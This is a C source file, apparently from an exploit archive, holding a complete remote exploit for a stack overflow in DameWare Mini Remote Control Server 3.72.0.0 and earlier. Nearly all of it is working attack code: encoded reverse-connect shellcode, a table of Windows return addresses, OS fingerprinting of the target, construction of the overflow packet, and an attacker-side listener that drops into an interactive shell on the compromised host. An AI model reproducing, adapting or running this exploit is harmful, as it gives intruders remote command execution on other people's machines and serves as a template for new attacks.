510 lines
No EOL
15 KiB
C
510 lines
No EOL
15 KiB
C
// source: https://www.securityfocus.com/bid/9213/info
|
|
|
|
A problem has been identified in the handling of pre-authentication packets by DameWare Mini Remote Control Server. Because of this, it may be possible for a remote attacker to gain unauthorized access to hosts using the vulnerable software.
|
|
|
|
|
|
/*******************************************************************************
|
|
*
|
|
* DameWare Remote Control Server Stack Overflow Exploit
|
|
*
|
|
* Discovered by: wirepair
|
|
* Exploit by: Adik [ netmaniac (at) hotmail.KG ]
|
|
*
|
|
* Vulnerable Versions: <= 3.72.0.0
|
|
* Tested on: 3.72.0.0 Win2k SP3 & WinXp SP3
|
|
* Payload: Reverse Connect Shellcode, exits gracefully
|
|
* doesn't terminate remote process.
|
|
*
|
|
* [16/Dec/2003] Bishkek
|
|
*******************************************************************************/
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <winsock.h>
|
|
//#include "netmaniac.h"
|
|
#pragma comment(lib,"ws2_32")
|
|
#define ACCEPT_TIMEOUT 10
|
|
#define RECVTIMEOUT 15
|
|
|
|
#define ID_UNKNOWN 0
|
|
#define ID_WIN2K 1
|
|
#define ID_WINXP 2
|
|
#define ID_WIN2K3 3
|
|
#define ID_WINNT 4
|
|
#define VER "0.5"
|
|
//#include "dmware.rc"
|
|
|
|
/*******************************************************************************/
|
|
unsigned char send_buff[40] = {
|
|
0x30, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0xC3, 0xF5, 0x28, 0x5C, 0x8F, 0xC2, 0x0D, 0x40,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00
|
|
};
|
|
|
|
unsigned char kyrgyz_rshell[] = { //418
|
|
0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33,
|
|
0xC9, 0x66, 0xB9, 0xa2, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
|
|
0xDD, 0x03, 0x64, 0x03, 0x7C, 0xEE, 0x09, 0x64, 0x08, 0x88, 0x60, 0xAE, 0x89, 0x88, 0x88, 0x01,
|
|
0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xA3, 0x89, 0x88, 0x88, 0x01,
|
|
0xCE, 0x64, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 0x64,
|
|
0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0x82, 0x89, 0x88, 0x88,
|
|
0x01, 0xCE, 0x56, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0x72, 0x88, 0x88, 0x88,
|
|
0x01, 0xCE, 0x52, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x62, 0x88, 0x88, 0x88,
|
|
0x01, 0xCE, 0x5E, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x52, 0x88, 0x88, 0x88,
|
|
0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x42, 0x88, 0x88, 0x88,
|
|
0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x64, 0x71, 0x22, 0xE8, 0x60, 0x32, 0x88, 0x88, 0x88,
|
|
0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x22, 0x88, 0x88, 0x88,
|
|
0x01, 0xCE, 0x6A, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 0x88,
|
|
0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 0x03,
|
|
0x50, 0xE0, 0x48, 0x20, 0xB7, 0x89, 0xE0, 0x8A, 0x88, 0xAA, 0x99, 0x03, 0x44, 0xE2, 0x98, 0xD9,
|
|
0xDB, 0x77, 0xDE, 0x60, 0x0D, 0x48, 0xFD, 0xD2, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x5A,
|
|
0x0B, 0x4C, 0x24, 0x05, 0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75,
|
|
0x4E, 0xCC, 0xAC, 0x98, 0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x76, 0xCC, 0xAC, 0xB6, 0x01, 0xD4, 0xAC,
|
|
0xC0, 0x01, 0xD4, 0xAC, 0xC4, 0x01, 0xD4, 0xAC, 0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9,
|
|
0xD9, 0xD9, 0x4E, 0xCC, 0xAC, 0x8B, 0x80, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 0xFE, 0x5A, 0xD9,
|
|
0x77, 0xDE, 0x52, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x56, 0x03, 0x40, 0xDB, 0x77,
|
|
0xDE, 0x6A, 0x77, 0xDE, 0x5E, 0xDE, 0xEC, 0x29, 0xB8, 0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03,
|
|
0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4,
|
|
0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2,
|
|
0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48,
|
|
0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C,
|
|
0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55,
|
|
0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A,
|
|
0x8C, 0x88
|
|
};
|
|
|
|
/*******************************************************************************/
|
|
long gimmeip(char *hostname);
|
|
void cmdshell (int sock);
|
|
int check_os(char *host,unsigned short target_port, unsigned int *sp);
|
|
|
|
struct timeval tv;
|
|
fd_set fds;
|
|
char recv_buff1[5000]="";
|
|
/***********************-( os jmp esp offsets )-********************************/
|
|
struct sp_levels
|
|
{
|
|
unsigned long eip;
|
|
char library[20];
|
|
} ;
|
|
/*************-[ offsets grabbed from www.metasploit.com ]-*********************/
|
|
struct
|
|
{
|
|
//int sp;
|
|
//unsigned long eip;
|
|
char os_type[10];
|
|
struct sp_levels sp[7];
|
|
|
|
} target_os[]=
|
|
{
|
|
{
|
|
"UNKNOWN",{{0,""},{0,""},{0,""},{0,""},{0,""},{0,""},{0,""}}
|
|
},
|
|
{
|
|
"WIN 2000",
|
|
{{ 0x750362c3,"ws2_32.dll" },{ 0x75035173,"ws2_32.dll" },{ 0x7503431b,"ws2_32.dll" },
|
|
{ 0x77db912b,"advapi32.dll" },{ 0x7c372063,"advapi32.dll" },{ 0,"" },{ 0,"" } }
|
|
},
|
|
{
|
|
"WIN XP",
|
|
{ { 0x71ab7bfb,"ws2_32.dll" },{ 0x71ab7bfb,"ws2_32.dll" },{ 0,"" },
|
|
{ 0,"" },{ 0,"" },{ 0,"" },{ 0,"" } } //2 sp on winxp
|
|
},
|
|
{
|
|
"WIN 2003",
|
|
{{0x77db565c,"advapi32.dll"},{0,""},{0,""},{0,""},{0,""},{0,""},{0,""}}//SP 0??
|
|
},
|
|
{
|
|
"WIN NT4",
|
|
{ // only SP3 + SP 6 r filled in
|
|
{ 0x77777777,"unknown.dll" },{ 0x77777776,"unknown.dll" },{ 0x77777775,"unknown.dll" },
|
|
{ 0x77f326c6,"kernel32.dll" },{ 0x77777773,"unknown.dll" },{ 0x77777772,"unknown.dll" },
|
|
{ 0x77f32836,"kernel32.dll" }
|
|
}//6 SP
|
|
}
|
|
|
|
};
|
|
/****************************************************************************/
|
|
|
|
|
|
int main(int argc,char *argv[])
|
|
{
|
|
WSADATA wsaData;
|
|
struct sockaddr_in targetTCP, localTCP, inAccTCP;
|
|
int sockTCP,s,localSockTCP,accSockTCP, acsz,switchon;
|
|
unsigned char send_packet[4135]="";
|
|
unsigned short local_port, target_port;
|
|
unsigned long local_ip, target_ip;
|
|
unsigned int os_sp=0;
|
|
int os_ver=0;
|
|
printf("\n\t...oO DameWare Remote Control Server Overflow Exploit Oo...\n\n"
|
|
"\t\t-( by Adik netmaniac[at]hotmail.KG )-\n\n");
|
|
printf(" - Versions vulnerable: <= DWRCS 3.72.0.0\n");
|
|
printf(" - Tested on: DWRCS ver: 3.72.0.0 Win2k SP3 & WinXP SP1\n\n");
|
|
if(argc < 4)
|
|
{
|
|
|
|
printf(" Usage: %s <TargetIP> <TargetPort> <YourIp> <YourPort>\n"
|
|
" eg: %s 10.0.0.1 6129 10.0.0.2 21\n\n",argv[0],argv[0]);
|
|
return 1;
|
|
}
|
|
|
|
WSAStartup(0x0202, &wsaData);
|
|
target_port = atoi(argv[2]);
|
|
|
|
local_port = htons((unsigned short)atoi(argv[4]));
|
|
local_ip = inet_addr(argv[3]);
|
|
local_port ^= 0x8888;
|
|
local_ip ^= 0x88888888;
|
|
|
|
*(unsigned long *)&kyrgyz_rshell[194+27] = local_ip;
|
|
*(unsigned short *)&kyrgyz_rshell[201+27] = local_port;
|
|
|
|
printf( "[*] Target IP:\t%s \tPort: %s\n"
|
|
"[*] Local IP:\t%s \tListening Port: %s\n\n",argv[1],argv[2],argv[3],argv[4]);
|
|
|
|
target_ip=gimmeip(argv[1]);
|
|
memset(&targetTCP, 0, sizeof(targetTCP));
|
|
memset(&localTCP, 0, sizeof(localTCP));
|
|
|
|
targetTCP.sin_family = AF_INET;
|
|
targetTCP.sin_addr.s_addr = target_ip;
|
|
targetTCP.sin_port = htons(target_port);
|
|
|
|
localTCP.sin_family = AF_INET;
|
|
localTCP.sin_addr.s_addr = INADDR_ANY;
|
|
localTCP.sin_port = htons((unsigned short)atoi(argv[4]));
|
|
|
|
printf("[*] Initializing sockets...");
|
|
|
|
if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
|
{
|
|
printf("\t\t\t[ FAILED ]\n Socket1 not initialized! Exiting...\n");
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
if ((localSockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
|
{
|
|
printf("\t\t\t[ FAILED ]\n Socket2 not initialized! Exiting...\n");
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
printf("\t\t\t[ OK ]\n");
|
|
|
|
printf("[*] Binding to local port: %s...",argv[4]);
|
|
|
|
if(bind(localSockTCP,(struct sockaddr *)&localTCP,sizeof(localTCP)) !=0)
|
|
{
|
|
printf("\t\t[ FAILED ]\n Failed binding to port: %s! Exiting...\n",argv[4]);
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
|
|
printf("\t\t[ OK ]\n");
|
|
printf("[*] Setting up a listener...");
|
|
if(listen(localSockTCP,1) != 0)
|
|
{
|
|
printf("\t\t\t[ FAILED ]\nFailed to listen on port: %s! Exiting...\n",argv[4]);
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
printf("\t\t\t[ OK ]\n");
|
|
os_ver = check_os(argv[1],(unsigned short)atoi(argv[2]),&os_sp);
|
|
|
|
printf(" EIP: 0x%x (%s)\n\n",target_os[os_ver].sp[os_sp].eip,target_os[os_ver].sp[os_sp].library);
|
|
printf("[*] Constructing packet for %s SP: %d...",target_os[os_ver].os_type,os_sp);
|
|
memcpy(send_packet,"\x10\x27",2);
|
|
//memcpy(send_packet+500,"neTmaNiac",strlen("netmaniac"));
|
|
memset(send_packet+0xc4+9,0x90,700);
|
|
|
|
*(unsigned long*)&send_packet[516] = target_os[os_ver].sp[os_sp].eip;
|
|
|
|
memcpy(send_packet+520,kyrgyz_rshell,strlen(kyrgyz_rshell));
|
|
memcpy(send_packet+0x3d0,"neTmaNiac",9);
|
|
memcpy(send_packet+0x5b4+0x24,"netmaniac was here",18);
|
|
memcpy(send_packet+0x5b4+0x128,"12/12/04 13:13:13",17);
|
|
memcpy(send_packet+0x5b4+0x538,"netninjaz_place",15);
|
|
memcpy(send_packet+0x5b4+0x5b4+0x88,"131.131.131.131",16);
|
|
memcpy(send_packet+0x5b4+0x5b4+0x394,"3.72.0.0",strlen("3.72.0.0"));
|
|
|
|
printf("\t[ OK ]\n");
|
|
|
|
printf("[*] Connecting to %s:%s...",argv[1],argv[2]);
|
|
|
|
if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
|
|
{
|
|
printf("\n[x] Connection to host failed! Exiting...\n");
|
|
WSACleanup();
|
|
exit(1);
|
|
}
|
|
printf("\t\t[ OK ]\n");
|
|
|
|
switchon=1;
|
|
ioctlsocket(sockTCP,FIONBIO,&switchon);
|
|
tv.tv_sec = RECVTIMEOUT;
|
|
tv.tv_usec = 0;
|
|
FD_ZERO(&fds);
|
|
FD_SET(sockTCP,&fds);
|
|
|
|
if((select(1,&fds,0,0,&tv))>0)
|
|
{
|
|
recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
|
|
}
|
|
else
|
|
{
|
|
printf("[x] Timeout! Failed to recv packet.\n");
|
|
exit(1);
|
|
}
|
|
|
|
//DumpMemory(recv_buff1,50);
|
|
memset(recv_buff1,0,sizeof(recv_buff1));
|
|
|
|
switchon=0;
|
|
ioctlsocket(sockTCP,FIONBIO,&switchon);
|
|
|
|
if (send(sockTCP, send_buff, sizeof(send_buff),0) == -1)
|
|
{
|
|
printf("[x] Failed to inject packet! Exiting...\n");
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
|
|
switchon=1;
|
|
ioctlsocket(sockTCP,FIONBIO,&switchon);
|
|
tv.tv_sec = RECVTIMEOUT;
|
|
tv.tv_usec = 0;
|
|
FD_ZERO(&fds);
|
|
FD_SET(sockTCP,&fds);
|
|
|
|
if((select(sockTCP+1,&fds,0,0,&tv))>0)
|
|
{
|
|
recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
|
|
switchon=0;
|
|
ioctlsocket(sockTCP,FIONBIO,&switchon);
|
|
if (send(sockTCP, send_packet, sizeof(send_packet),0) == -1)
|
|
{
|
|
printf("[x] Failed to inject packet2! Exiting...\n");
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
printf("\n[x] Timeout! Failed to receive packet! Exiting...\n");
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
|
|
printf("[*] Packet injected!\n");
|
|
closesocket(sockTCP);
|
|
printf("[*] Waiting for incoming connection...\r");
|
|
|
|
switchon=1;
|
|
ioctlsocket(localSockTCP,FIONBIO,&switchon);
|
|
tv.tv_sec = ACCEPT_TIMEOUT;
|
|
tv.tv_usec = 0;
|
|
FD_ZERO(&fds);
|
|
FD_SET(localSockTCP,&fds);
|
|
|
|
if((select(1,&fds,0,0,&tv))>0)
|
|
{
|
|
acsz = sizeof(inAccTCP);
|
|
accSockTCP = accept(localSockTCP,(struct sockaddr *)&inAccTCP, &acsz);
|
|
printf("[*] Connection request accepted: %s:%d\n", inet_ntoa(inAccTCP.sin_addr), (int)ntohs(inAccTCP.sin_port));
|
|
printf("[*] Dropping to shell...\n\n");
|
|
cmdshell(accSockTCP);
|
|
}
|
|
else
|
|
{
|
|
printf("\n[x] Exploit appears to have failed!\n");
|
|
WSACleanup();
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
/*********************************************************************************/
|
|
int check_os(char *host,unsigned short target_port, unsigned int *sp)
|
|
{
|
|
int sockTCP,switchon;
|
|
struct sockaddr_in targetTCP;
|
|
struct timeval tv;
|
|
fd_set fds;
|
|
|
|
memset(&targetTCP,0,sizeof(targetTCP));
|
|
targetTCP.sin_family = AF_INET;
|
|
targetTCP.sin_addr.s_addr = inet_addr(host);
|
|
targetTCP.sin_port = htons(target_port);
|
|
|
|
if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
|
{
|
|
printf("\t\t\t[ FAILED ]\n Socket1 not initialized! Exiting...\n");
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
|
|
if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
|
|
{
|
|
printf("[x] Connection to host failed! Exiting...\n");
|
|
WSACleanup();
|
|
exit(1);
|
|
}
|
|
|
|
switchon=1;
|
|
ioctlsocket(sockTCP,FIONBIO,&switchon);
|
|
tv.tv_sec = RECVTIMEOUT;
|
|
tv.tv_usec = 0;
|
|
FD_ZERO(&fds);
|
|
FD_SET(sockTCP,&fds);
|
|
|
|
if((select(1,&fds,0,0,&tv))>0)
|
|
{
|
|
recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
|
|
}
|
|
else
|
|
{
|
|
printf("[x] Timeout! Doesn't appear to b a DMWRCS\n");
|
|
exit(1);
|
|
}
|
|
|
|
switchon=0;
|
|
ioctlsocket(sockTCP,FIONBIO,&switchon);
|
|
|
|
if (send(sockTCP, send_buff, sizeof(send_buff),0) == -1)
|
|
{
|
|
printf("[x] Failed to inject packet! Exiting...\n");
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
|
|
switchon=1;
|
|
ioctlsocket(sockTCP,FIONBIO,&switchon);
|
|
tv.tv_sec = RECVTIMEOUT;
|
|
tv.tv_usec = 0;
|
|
FD_ZERO(&fds);
|
|
FD_SET(sockTCP,&fds);
|
|
|
|
if((select(sockTCP+1,&fds,0,0,&tv))>0)
|
|
{
|
|
recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
|
|
closesocket(sockTCP);
|
|
}
|
|
else
|
|
{
|
|
printf("\n[x] Timeout! Failed to receive packet! Exiting...\n");
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
|
|
printf("\n OS Info : ");
|
|
if(recv_buff1[8]==5 && recv_buff1[12]==0)
|
|
{
|
|
printf("WIN2000 [ver 5.0.%d]\n SP String : %-1.20s\n\n",*(unsigned short *)&recv_buff1[16],&recv_buff1[24]);
|
|
*sp = atoi(&recv_buff1[37]);
|
|
closesocket(sockTCP);
|
|
return ID_WIN2K;
|
|
}
|
|
else if(recv_buff1[8]==5 && recv_buff1[12]==1)
|
|
{
|
|
printf("WINXP [ver 5.1.%d]\n SP String : %-1.20s\n\n",*(unsigned short *)&recv_buff1[16],&recv_buff1[24]);
|
|
*sp = atoi(&recv_buff1[37]);
|
|
closesocket(sockTCP);
|
|
return ID_WINXP;
|
|
}
|
|
else if(recv_buff1[8]==5 && recv_buff1[12]==2)
|
|
{
|
|
printf("WIN2003 [ver 5.2.%d]\n SP String : %-1.20s\n\n",*(unsigned short *)&recv_buff1[16],&recv_buff1[24]);
|
|
*sp = atoi(&recv_buff1[37]);
|
|
closesocket(sockTCP);
|
|
return ID_WIN2K3;
|
|
}
|
|
else if(recv_buff1[8]==4)
|
|
{
|
|
printf("WINNT4\n SP String : %-1.20s\n\n",&recv_buff1[24]);
|
|
*sp = atoi(&recv_buff1[37]);
|
|
closesocket(sockTCP);
|
|
return ID_WINNT;
|
|
}
|
|
else
|
|
{
|
|
printf("UNKNOWN\n");
|
|
closesocket(sockTCP);
|
|
return ID_UNKNOWN;
|
|
}
|
|
|
|
}
|
|
/*********************************************************************************/
|
|
long gimmeip(char *hostname)
|
|
{
|
|
struct hostent *he;
|
|
long ipaddr;
|
|
|
|
if ((ipaddr = inet_addr(hostname)) < 0)
|
|
{
|
|
if ((he = gethostbyname(hostname)) == NULL)
|
|
{
|
|
printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
|
|
WSACleanup();
|
|
exit(1);
|
|
}
|
|
memcpy(&ipaddr, he->h_addr, he->h_length);
|
|
}
|
|
return ipaddr;
|
|
}
|
|
/*********************************************************************************/
|
|
void cmdshell (int sock)
|
|
{
|
|
struct timeval tv;
|
|
int length;
|
|
unsigned long o[2];
|
|
char buffer[1000];
|
|
|
|
tv.tv_sec = 1;
|
|
tv.tv_usec = 0;
|
|
|
|
while (1)
|
|
{
|
|
o[0] = 1;
|
|
o[1] = sock;
|
|
|
|
length = select (0, (fd_set *)&o, NULL, NULL, &tv);
|
|
if(length == 1)
|
|
{
|
|
length = recv (sock, buffer, sizeof (buffer), 0);
|
|
if (length <= 0)
|
|
{
|
|
printf ("[x] Connection closed.\n");
|
|
WSACleanup();
|
|
return;
|
|
}
|
|
length = write (1, buffer, length);
|
|
if (length <= 0)
|
|
{
|
|
printf ("[x] Connection closed.\n");
|
|
WSACleanup();
|
|
return;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
length = read (0, buffer, sizeof (buffer));
|
|
if (length <= 0)
|
|
{
|
|
printf("[x] Connection closed.\n");
|
|
WSACleanup();
|
|
return;
|
|
}
|
|
length = send(sock, buffer, length, 0);
|
|
if (length <= 0)
|
|
{
|
|
printf("[x] Connection closed.\n");
|
|
WSACleanup();
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
|
|
}
|
|
/*********************************************************************************/ |